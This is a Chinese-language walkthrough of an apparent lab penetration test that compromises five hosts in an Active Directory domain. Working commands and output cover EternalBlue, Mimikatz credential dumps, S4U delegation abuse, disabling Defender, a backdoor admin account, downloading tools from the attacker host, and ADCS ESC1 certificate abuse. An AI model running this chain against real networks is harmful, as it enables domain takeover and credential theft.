[+] 172.22.10.36:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.22.10.36:445 - Sending final SMBv2 buffers.
[*] 172.22.10.36:445 - Sending last fragment of exploit packet!
[*] 172.22.10.36:445 - Receiving response from exploit packet
[+] 172.22.10.36:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.22.10.36:445 - Sending egg to corrupted connection.
[*] 172.22.10.36:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 172.22.10.36:4444
[-] 172.22.10.36:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 172.22.10.36:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 172.22.10.36:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 172.22.10.36:445 - Connecting to target for exploitation.
[+] 172.22.10.36:445 - Connection established for exploitation.
[+] 172.22.10.36:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.22.10.36:445 - CORE raw buffer dump (42 bytes)
[*] 172.22.10.36:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 172.22.10.36:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 172.22.10.36:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 172.22.10.36:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.22.10.36:445 - Trying exploit with 17 Groom Allocations.
[*] 172.22.10.36:445 - Sending all but last fragment of exploit packet
[*] 172.22.10.36:445 - Starting non-paged pool grooming
[+] 172.22.10.36:445 - Sending SMBv2 buffers
[+] 172.22.10.36:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.22.10.36:445 - Sending final SMBv2 buffers.
[*] 172.22.10.36:445 - Sending last fragment of exploit packet!
[*] 172.22.10.36:445 - Receiving response from exploit packet
[+] 172.22.10.36:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.22.10.36:445 - Sending egg to corrupted connection.
[*] 172.22.10.36:445 - Triggering free of corrupted buffer.
[*] Sending stage (232006 bytes) to 172.22.10.36
[*] Meterpreter session 1 opened (192.168.93.128:33987 -> 172.22.10.36:4444) at 2026-03-20 10:41:20 -0400
[+] 172.22.10.36:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.22.10.36:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.22.10.36:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > sysinfo
Computer : WIN-PC8086
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : AEROSPACE
Logged On Users : 3
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
|
2.2 Mimikatz 抓取凭据#
由于这台机器位于域内，使用 Mimikatz 收集域内信息：
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| load kiwi
kiwi_cmd "sekurlsa::logonpasswords"
|
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| meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > kiwi_cmd "sekurlsa::logonpasswords"
Authentication Id : 0 ; 5564485 (00000000:0054e845)
Session : Interactive from 1
User Name : John
Domain : WIN-PC8086
Logon Server : WIN-PC8086
Logon Time : 2024/2/22 11:38:28
SID : S-1-5-21-756936077-305233120-2093608108-1000
msv :
[00000003] Primary
* Username : John
* Domain : WIN-PC8086
* LM : 7fbdbe322b6101bb1aa818381e4e281b
* NTLM : 5ffb08c80d9f260355e01c17a233e8f1
* SHA1 : 8afa1eebf3490d255619262e43aa71ba1ab4b52e
tspkg :
* Username : John
* Domain : WIN-PC8086
* Password : John@123
wdigest :
* Username : John
* Domain : WIN-PC8086
* Password : John@123
kerberos :
* Username : John
* Domain : WIN-PC8086
* Password : John@123
ssp :
credman :
Authentication Id : 0 ; 5564450 (00000000:0054e822)
Session : Interactive from 1
User Name : John
Domain : WIN-PC8086
Logon Server : WIN-PC8086
Logon Time : 2024/2/22 11:38:28
SID : S-1-5-21-756936077-305233120-2093608108-1000
msv :
[00000003] Primary
* Username : John
* Domain : WIN-PC8086
* LM : 7fbdbe322b6101bb1aa818381e4e281b
* NTLM : 5ffb08c80d9f260355e01c17a233e8f1
* SHA1 : 8afa1eebf3490d255619262e43aa71ba1ab4b52e
tspkg :
* Username : John
* Domain : WIN-PC8086
* Password : John@123
wdigest :
* Username : John
* Domain : WIN-PC8086
* Password : John@123
kerberos :
* Username : John
* Domain : WIN-PC8086
* Password : John@123
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2024/2/22 0:15:26
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN-PC8086$
Domain : AEROSPACE
Logon Server : (null)
Logon Time : 2024/2/22 0:15:26
SID : S-1-5-20
msv :
[00000003] Primary
* Username : WIN-PC8086$
* Domain : AEROSPACE
* NTLM : 1878248073dc58f665227675e99b8333
* SHA1 : b4ce7bea0939e9ac4b3b0f9235f857ccf08cac23
tspkg :
wdigest :
* Username : WIN-PC8086$
* Domain : AEROSPACE
* Password : 4d 75 54 14 3a 7f c6 6c ac d2 c4 b1 04 09 69 82 0a 62 9d 02 7f e3 56 df 86 e2 ac c8 f2 4e ed 39 e7 f2 0c 9f 3c e8 0e a2 dc ae 46 13 28 29 7f 2c ce 3c 50 da 06 b1 eb d7 18 1f 35 b1 87 38 a8 3b a4 6e b2 c3 75 88 36 b6 ae dc 46 18 86 63 c9 cb 4d 63 ae 31 35 49 8c 7e 59 8f 05 ce 5b 5b 1d 5c dd 60 58 b5 ad f3 e0 c4 0d ca 5e e7 93 61 3f e8 48 a9 9e ba 02 7a 9f df 88 84 4e ad 87 81 2d 4e b6 00 36 92 4e 9d 27 03 3f c9 eb a0 05 3b 25 92 c8 55 40 e8 6b bd 9c 6b 0f 7e ef 73 49 67 96 e1 7a 68 35 e0 39 25 50 7b 2a 96 a0 13 7f d1 7f 9a 2b 63 5d 4d 58 ae 15 07 a1 70 02 73 a7 f3 45 80 5d 41 7a bb 8a 6d e1 29 47 a8 84 ca 92 8f a3 27 25 a2 4a 55 df 65 cc 72 5b 7e f2 f2 6d ff d5 07 a3 ec 64 d8 c3 a7 cf 41 b0 c9 25 2e 7a 12 83 07
kerberos :
* Username : win-pc8086$
* Domain : AEROSPACE.LOCAL
* Password : 4d 75 54 14 3a 7f c6 6c ac d2 c4 b1 04 09 69 82 0a 62 9d 02 7f e3 56 df 86 e2 ac c8 f2 4e ed 39 e7 f2 0c 9f 3c e8 0e a2 dc ae 46 13 28 29 7f 2c ce 3c 50 da 06 b1 eb d7 18 1f 35 b1 87 38 a8 3b a4 6e b2 c3 75 88 36 b6 ae dc 46 18 86 63 c9 cb 4d 63 ae 31 35 49 8c 7e 59 8f 05 ce 5b 5b 1d 5c dd 60 58 b5 ad f3 e0 c4 0d ca 5e e7 93 61 3f e8 48 a9 9e ba 02 7a 9f df 88 84 4e ad 87 81 2d 4e b6 00 36 92 4e 9d 27 03 3f c9 eb a0 05 3b 25 92 c8 55 40 e8 6b bd 9c 6b 0f 7e ef 73 49 67 96 e1 7a 68 35 e0 39 25 50 7b 2a 96 a0 13 7f d1 7f 9a 2b 63 5d 4d 58 ae 15 07 a1 70 02 73 a7 f3 45 80 5d 41 7a bb 8a 6d e1 29 47 a8 84 ca 92 8f a3 27 25 a2 4a 55 df 65 cc 72 5b 7e f2 f2 6d ff d5 07 a3 ec 64 d8 c3 a7 cf 41 b0 c9 25 2e 7a 12 83 07
ssp :
credman :
Authentication Id : 0 ; 47080 (00000000:0000b7e8)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2024/2/22 0:15:26
SID :
msv :
[00000003] Primary
* Username : WIN-PC8086$
* Domain : AEROSPACE
* NTLM : 1878248073dc58f665227675e99b8333
* SHA1 : b4ce7bea0939e9ac4b3b0f9235f857ccf08cac23
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WIN-PC8086$
Domain : AEROSPACE
Logon Server : (null)
Logon Time : 2024/2/22 0:15:26
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : WIN-PC8086$
* Domain : AEROSPACE
* Password : 4d 75 54 14 3a 7f c6 6c ac d2 c4 b1 04 09 69 82 0a 62 9d 02 7f e3 56 df 86 e2 ac c8 f2 4e ed 39 e7 f2 0c 9f 3c e8 0e a2 dc ae 46 13 28 29 7f 2c ce 3c 50 da 06 b1 eb d7 18 1f 35 b1 87 38 a8 3b a4 6e b2 c3 75 88 36 b6 ae dc 46 18 86 63 c9 cb 4d 63 ae 31 35 49 8c 7e 59 8f 05 ce 5b 5b 1d 5c dd 60 58 b5 ad f3 e0 c4 0d ca 5e e7 93 61 3f e8 48 a9 9e ba 02 7a 9f df 88 84 4e ad 87 81 2d 4e b6 00 36 92 4e 9d 27 03 3f c9 eb a0 05 3b 25 92 c8 55 40 e8 6b bd 9c 6b 0f 7e ef 73 49 67 96 e1 7a 68 35 e0 39 25 50 7b 2a 96 a0 13 7f d1 7f 9a 2b 63 5d 4d 58 ae 15 07 a1 70 02 73 a7 f3 45 80 5d 41 7a bb 8a 6d e1 29 47 a8 84 ca 92 8f a3 27 25 a2 4a 55 df 65 cc 72 5b 7e f2 f2 6d ff d5 07 a3 ec 64 d8 c3 a7 cf 41 b0 c9 25 2e 7a 12 83 07
kerberos :
* Username : win-pc8086$
* Domain : AEROSPACE.LOCAL
* Password : 4d 75 54 14 3a 7f c6 6c ac d2 c4 b1 04 09 69 82 0a 62 9d 02 7f e3 56 df 86 e2 ac c8 f2 4e ed 39 e7 f2 0c 9f 3c e8 0e a2 dc ae 46 13 28 29 7f 2c ce 3c 50 da 06 b1 eb d7 18 1f 35 b1 87 38 a8 3b a4 6e b2 c3 75 88 36 b6 ae dc 46 18 86 63 c9 cb 4d 63 ae 31 35 49 8c 7e 59 8f 05 ce 5b 5b 1d 5c dd 60 58 b5 ad f3 e0 c4 0d ca 5e e7 93 61 3f e8 48 a9 9e ba 02 7a 9f df 88 84 4e ad 87 81 2d 4e b6 00 36 92 4e 9d 27 03 3f c9 eb a0 05 3b 25 92 c8 55 40 e8 6b bd 9c 6b 0f 7e ef 73 49 67 96 e1 7a 68 35 e0 39 25 50 7b 2a 96 a0 13 7f d1 7f 9a 2b 63 5d 4d 58 ae 15 07 a1 70 02 73 a7 f3 45 80 5d 41 7a bb 8a 6d e1 29 47 a8 84 ca 92 8f a3 27 25 a2 4a 55 df 65 cc 72 5b 7e f2 f2 6d ff d5 07 a3 ec 64 d8 c3 a7 cf 41 b0 c9 25 2e 7a 12 83 07
ssp :
credman :
meterpreter >
|
抓取到的关键凭据：
本地用户：
- 用户名：
John（本地账户） - 明文密码：
John@123 - NTLM Hash：
5ffb08c80d9f260355e01c17a233e8f1
机器账户：
- 用户名：
WIN-PC8086$ - 所属域：
AEROSPACE - NTLM Hash：
1878248073dc58f665227675e99b8333
2.3 发现约束委派#
什么是约束委派？
在 AD 域中，委派允许一个账户代表其他用户去访问某个服务。约束委派是域管理员配置的：WIN-PC8086$ 这个机器账户，被允许代表任意用户，去访问 WIN-PC8098 的 HOST 和 CIFS 服务。这个配置存储在 msDS-AllowedToDelegateTo 属性里。
使用 findDelegation.py 枚举域内委派配置：
先找到 findDelegation.py 的位置：
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| find / -name "findDelegation.py" 2>/dev/null
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python3 findDelegation.py aerospace.local/WIN-PC8086\$ -hashes :1878248073dc58f665227675e99b8333 -dc-ip 172.22.10.11
发现 WIN-PC8086$ 对 WIN-PC8098 的 HOST 和 CIFS 服务具有带协议转换的约束委派权限。
第三阶段：WIN-PC8098（172.22.10.40）— 约束委派攻击#
3.1 S4U 协议获取票据#
利用 S4U 协议（S4U2Self + S4U2Proxy），以 WIN-PC8086$ 身份模拟 Administrator 访问 WIN-PC8098 的 CIFS 服务：
- S4U2Self：WIN-PC8086$ 向 KDC 说"我要代表 Administrator" → KDC 返回一张 Administrator 身份的票据
- S4U2Proxy：WIN-PC8086$ 拿着这张票据说"Administrator 要访问 WIN-PC8098 的 CIFS 服务" → KDC 检查
msDS-AllowedToDelegateTo，确认允许 → 返回服务票据
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| python3 getST.py aerospace.local/WIN-PC8086\$ -hashes :1878248073dc58f665227675e99b8333 -spn CIFS/WIN-PC8098.aerospace.local -impersonate Administrator -dc-ip 172.22.10.11
|
注意：最好用 root 执行，否则可能没有写权限保存 ccache 文件。
3.2 Kerberos 认证登录#
设置票据环境变量并添加 DNS 解析：
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| ┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# export KRB5CCNAME='Administrator@CIFS_WIN-PC8098.aerospace.local@AEROSPACE.LOCAL.ccache'
# 解析 WIN-PC8098 的 IP 并加入 hosts
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# nslookup WIN-PC8098.aerospace.local 172.22.10.11
Name: WIN-PC8098.aerospace.local
Address: 172.22.10.40
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# echo '172.22.10.40 WIN-PC8098.aerospace.local WIN-PC8098' >> /etc/hosts
|
通过 wmiexec.py 获取 shell：
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| ┌──(root㉿kali)-[~]
└─# cd /usr/share/doc/python3-impacket/examples
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# python3 getST.py aerospace.local/WIN-PC8086\$ -hashes :1878248073dc58f665227675e99b8333 -spn CIFS/WIN-PC8098.aerospace.local -impersonate Administrator -dc-ip 172.22.10.11
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_WIN-PC8098.aerospace.local@AEROSPACE.LOCAL.ccache
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# export KRB5CCNAME='Administrator@CIFS_WIN-PC8098.aerospace.local@AEROSPACE.LOCAL.ccache'
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# python3 wmiexec.py -k aerospace.local/Administrator@WIN-PC8098.aerospace.local -no-pass -dc-ip 172.22.10.11
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] [Errno Connection error (WIN-PC8098.aerospace.local:445)] [Errno -2] Name or service not known
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# nslookup WIN-PC8098.aerospace.local 172.22.10.11
Server: 172.22.10.11
Address: 172.22.10.11#53
Name: WIN-PC8098.aerospace.local
Address: 172.22.10.40
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# echo '172.22.10.40 WIN-PC8098.aerospace.local WIN-PC8098' >> /etc/hosts
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# python3 wmiexec.py -k aerospace.local/Administrator@WIN-PC8098.aerospace.local -no-pass -dc-ip 172.22.10.11
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
aerospace\administrator
C:\>
|
3.3 发现域用户进程#
tasklist /v 发现域用户 AEROSPACE\liuyuhua 的进程在运行：
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| elevation_service.exe 7572 Services 0 AEROSPACE\liuyuhua 0:00:00
GoogleUpdate.exe 7960 Services 0 AEROSPACE\liuyuhua 0:00:00
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3.4 绕过 Defender 抓取凭据#
由于该机器开启了 Windows Defender，需要先绕过：
新建管理员用户#
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| C:\>net user hacker P@ssw0rd123 /add
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec
����ɹ���ɡ�
C:\>net localgroup Administrators hacker /add
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec
����ɹ���ɡ�
C:\>
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开启远程桌面#
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| C:\> reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec
�����ɹ���ɡ�
C:\>netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec
ȷ����
C:\>
|
RDP 连接#
xfreerdp /v:172.22.10.40 /u:hacker /p:P@ssw0rd123 /cert:ignore
关闭 Windows Defender#
RDP 进去后，打开 PowerShell（管理员）：
Set-MpPreference -DisableRealtimeMonitoring $true
上传并运行 Mimikatz#
Mimikatz 地址：https://github.com/ParrotSec/mimikatz
Kali 上起 HTTP 服务：
python3 -m http.server 8080
RDP 的 PowerShell 里下载：
Invoke-WebRequest -Uri http://192.168.93.128:8080/mimikatz.exe -OutFile C:\Users\hacker\mimikatz.exe
抓取 liuyuhua 的哈希#
运行 Mimikatz（管理员权限）：
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| mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
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成功抓取 liuyuhua 凭据：
- NTLM Hash：
2c8e4ec4d8a61869d85c7921c6076dfd - 明文密码：
Yu%a#E8T6iR
第四阶段：DC01（172.22.10.11）— ADCS 证书攻击#
4.1 漏洞分析#
域内存在 ADCS（Active Directory Certificate Services）服务，通过 Certify 枚举发现证书模板 AeroUser 存在错误配置（ESC1）：
- 开启了
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT（允许申请者自定义证书主题） - 所有域用户都有注册权限
利用思路： 以 liuyuhua 身份申请一张包含域管 Administrator 身份的证书。
4.2 添加 hosts 解析#
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| ┌──(root㉿kali)-[~]
└─# echo '172.22.10.13 CA.aerospace.local CA' >> /etc/hosts
┌──(root㉿kali)-[~]
└─# echo '172.22.10.11 DC01.aerospace.local DC01' >> /etc/hosts
|
4.3 申请域管证书#
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| ┌──(root㉿kali)-[~]
└─# certipy-ad req -username liuyuhua@aerospace.local -hashes :2c8e4ec4d8a61869d85c7921c6076dfd -ca aerospace-CA-CA -target CA.aerospace.local -template AeroUser -upn Administrator@aerospace.local -dns DC01.aerospace.local -dc-ip 172.22.10.11 -ns 172.22.10.11 -debug
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[+] DC host (-dc-host) not specified. Using domain as DC host
[+] Nameserver: '172.22.10.11'
[+] DC IP: '172.22.10.11'
[+] DC Host: 'AEROSPACE.LOCAL'
[+] Target IP: None
[+] Remote Name: 'CA.aerospace.local'
[+] Domain: 'AEROSPACE.LOCAL'
[+] Username: 'LIUYUHUA'
[+] Trying to resolve 'CA.aerospace.local' at '172.22.10.11'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:172.22.10.13[\pipe\cert]
[+] Connected to endpoint: ncacn_np:172.22.10.13[\pipe\cert]
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificate with multiple identities
UPN: 'Administrator@aerospace.local'
DNS Host Name: 'DC01.aerospace.local'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator_dc01.pfx'
[+] Attempting to write data to 'administrator_dc01.pfx'
[+] Data written to 'administrator_dc01.pfx'
[*] Wrote certificate and private key to 'administrator_dc01.pfx'
|
4.4 证书认证获取域管权限#
由于 DC 不支持 PKINIT（报错 KDC_ERR_PADATA_TYPE_NOSUPP），无法直接用证书换 TGT。改用 Schannel + LDAPS 方式，通过证书认证到 LDAP 并修改域管密码：
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| ┌──(root㉿kali)-[~]
└─# certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 172.22.10.11 -ldap-shell
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator@aerospace.local'
[*] SAN DNS Host Name: 'DC01.aerospace.local'
[*] Connecting to 'ldaps://172.22.10.11:636'
[*] Authenticated to '172.22.10.11' as: 'u:AEROSPACE\\Administrator'
Type help for list of commands
# help
add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
add_user new_user [parent] - Creates a new user.
add_user_to_group user group - Adds a user to a group.
change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
clear_rbcd target - Clear the resource based constrained delegation configuration information.
clear_shadow_creds target - Clear shadow credentials on the target (sAMAccountName).
disable_account user - Disable the user's account.
enable_account user - Enable the user's account.
dump - Dumps the domain.
search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
get_user_groups user - Retrieves all groups this user is a member of.
get_group_users group - Retrieves all members of a group.
get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
grant_control [search_base] target grantee - Grant full control on a given target object (sAMAccountName or search filter, optional search base) to the grantee (sAMAccountName).
set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
set_shadow_creds target - Set shadow credentials on the target object (sAMAccountName).
start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.
write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
whoami - get connected user
dirsync - Dirsync requested attributes
exit - Terminates this session.
# whoami
u:AEROSPACE\Administrator
# change_password Administrator P@ssw0rd2024!
Got User DN: CN=Administrator,CN=Users,DC=aerospace,DC=local
Attempting to set new password of: P@ssw0rd2024!
Password changed successfully!
#
|
4.5 横向移动 — 拿下 DC01#
使用修改后的域管密码，通过 WMI 远程执行获取域控 shell：
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| ┌──(root㉿kali)-[~]
└─# python3 /usr/share/doc/python3-impacket/examples/wmiexec.py aerospace.local/Administrator:'P@ssw0rd2024!'@DC01.aerospace.local -dc-ip 172.22.10.11
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
aerospace\administrator
C:\>ipconfig /all
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec
Windows IP ����
������ . . . . . . . . . . . . . : DC01
�� DNS �� . . . . . . . . . . . : aerospace.local
�ڵ����� . . . . . . . . . . . . : ���
IP ·�������� . . . . . . . . . . : ��
WINS ���������� . . . . . . . . . : ��
DNS �������б� . . . . . . . . : aerospace.local
��̫�������� Ethernet0:
�����ض��� DNS �� . . . . . . . :
����. . . . . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
������ַ. . . . . . . . . . . . . : 00-0C-29-0A-B5-7D
DHCP ������ . . . . . . . . . . . : ��
�Զ�����������. . . . . . . . . . : ��
�������� IPv6 ��ַ. . . . . . . . : fe80::999b:7dc:74ef:5f1b%5(��ѡ)
IPv4 ��ַ . . . . . . . . . . . . : 172.22.10.11(��ѡ)
�������� . . . . . . . . . . . . : 255.255.255.0
Ĭ������. . . . . . . . . . . . . : 172.22.10.1
DHCPv6 IAID . . . . . . . . . . . : 50334761
DHCPv6 �ͻ��� DUID . . . . . . . : 00-01-00-01-31-4F-BF-E8-00-0C-29-0A-B5-7D
DNS ������ . . . . . . . . . . . : ::1
127.0.0.1
TCPIP �ϵ� NetBIOS . . . . . . . : ������
���������� isatap.{738F0B3D-58F3-4C8E-91B7-D4461A6E8BCC}:
ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�����
�����ض��� DNS �� . . . . . . . :
����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2
������ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP ������ . . . . . . . . . . . : ��
�Զ�����������. . . . . . . . . . : ��
C:\>
|
DC01 拿下！
第五阶段：CA（172.22.10.13）— 横向移动#
同样使用域管密码通过 WMI 获取 CA 服务器 shell：
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| ┌──(root㉿kali)-[~]
└─# python3 /usr/share/doc/python3-impacket/examples/wmiexec.py aerospace.local/Administrator:'P@ssw0rd2024!'@CA.aerospace.local -dc-ip 172.22.10.13
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
aerospace\administrator
C:\>ipconfig /all
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec
Windows IP ����
������ . . . . . . . . . . . . . : CA
�� DNS �� . . . . . . . . . . . : aerospace.local
�ڵ����� . . . . . . . . . . . . : ���
IP ·�������� . . . . . . . . . . : ��
WINS ���������� . . . . . . . . . : ��
DNS �������б� . . . . . . . . : aerospace.local
��̫�������� Ethernet0:
�����ض��� DNS �� . . . . . . . :
����. . . . . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
������ַ. . . . . . . . . . . . . : 00-0C-29-C0-A7-E3
DHCP ������ . . . . . . . . . . . : ��
�Զ�����������. . . . . . . . . . : ��
�������� IPv6 ��ַ. . . . . . . . : fe80::6c5e:c9fa:6c0e:8631%7(��ѡ)
IPv4 ��ַ . . . . . . . . . . . . : 172.22.10.13(��ѡ)
�������� . . . . . . . . . . . . : 255.255.255.0
Ĭ������. . . . . . . . . . . . . : 172.22.10.1
DHCPv6 IAID . . . . . . . . . . . : 50334761
DHCPv6 �ͻ��� DUID . . . . . . . : 00-01-00-01-31-4F-BF-E8-00-0C-29-C0-A7-E3
DNS ������ . . . . . . . . . . . : 172.22.10.11
TCPIP �ϵ� NetBIOS . . . . . . . : ������
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ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�����
�����ض��� DNS �� . . . . . . . :
����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2
������ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP ������ . . . . . . . . . . . : ��
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C:\>
|
CA 拿下！至此五台机器全部沦陷。
收获总结#
获取的所有凭据#
| 机器 | 账户 | 类型 | 明文密码 | NTLM Hash |
|---|
| Web01 (172.22.10.22) | sa | MSSQL SA | 123456 | - |
| WIN-PC8086 (172.22.10.36) | John | 本地用户 | John@123 | 5ffb08c80d9f260355e01c17a233e8f1 |
| WIN-PC8086 (172.22.10.36) | WIN-PC8086$ | 机器账户 | - | 1878248073dc58f665227675e99b8333 |
| WIN-PC8098 (172.22.10.40) | hacker | 本地管理员(新建) | P@ssw0rd123 | 89551acff8895768e489bb3054af94fd |
| WIN-PC8098 (172.22.10.40) | WIN-PC8098$ | 机器账户 | - | 4b871bde5de48e8b344eeba86e8c08ee |
| aerospace.local 域 | liuyuhua | 域用户 | Yu%a#E8T6iR | 2c8e4ec4d8a61869d85c7921c6076dfd |
| aerospace.local 域 | Administrator | 域管理员 | P@ssw0rd2024!（已修改） | - |
拿下的机器#
| 机器 | IP | 获取权限 | 攻击方式 |
|---|
| Web01 | 192.168.93.146 / 172.22.10.22 | NT AUTHORITY\SYSTEM | MSSQL xp_cmdshell + GodPotato 提权 |
| WIN-PC8086 | 172.22.10.36 | NT AUTHORITY\SYSTEM | MS17-010 永恒之蓝 |
| WIN-PC8098 | 172.22.10.40 | aerospace\administrator | 约束委派 S4U2Self + S4U2Proxy |
| DC01 | 172.22.10.11 | aerospace\administrator | ADCS ESC1 + LDAP Shell 改密码 |
| CA | 172.22.10.13 | aerospace\administrator | 域管密码横向移动 |
涉及的核心技术点#
- MSSQL 渗透：弱口令爆破 → xp_cmdshell 命令执行 → PowerShell 反弹 Shell
- Windows 提权：利用 SeImpersonatePrivilege + GodPotato 从服务账户提权到 SYSTEM
- MS17-010 永恒之蓝：经典 SMB 远程代码执行漏洞，直接获取 SYSTEM 权限
- Mimikatz 凭据抓取：从内存中提取明文密码、NTLM Hash、机器账户凭据
- 约束委派攻击（Constrained Delegation）：S4U2Self / S4U2Proxy 协议滥用，模拟域管访问目标服务
- ADCS ESC1 漏洞：错误配置的证书模板（
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT）允许冒充任意用户申请证书 - PKINIT 不可用时的替代方案：通过 Schannel 认证 LDAPS，使用 LDAP Shell 修改域管密码
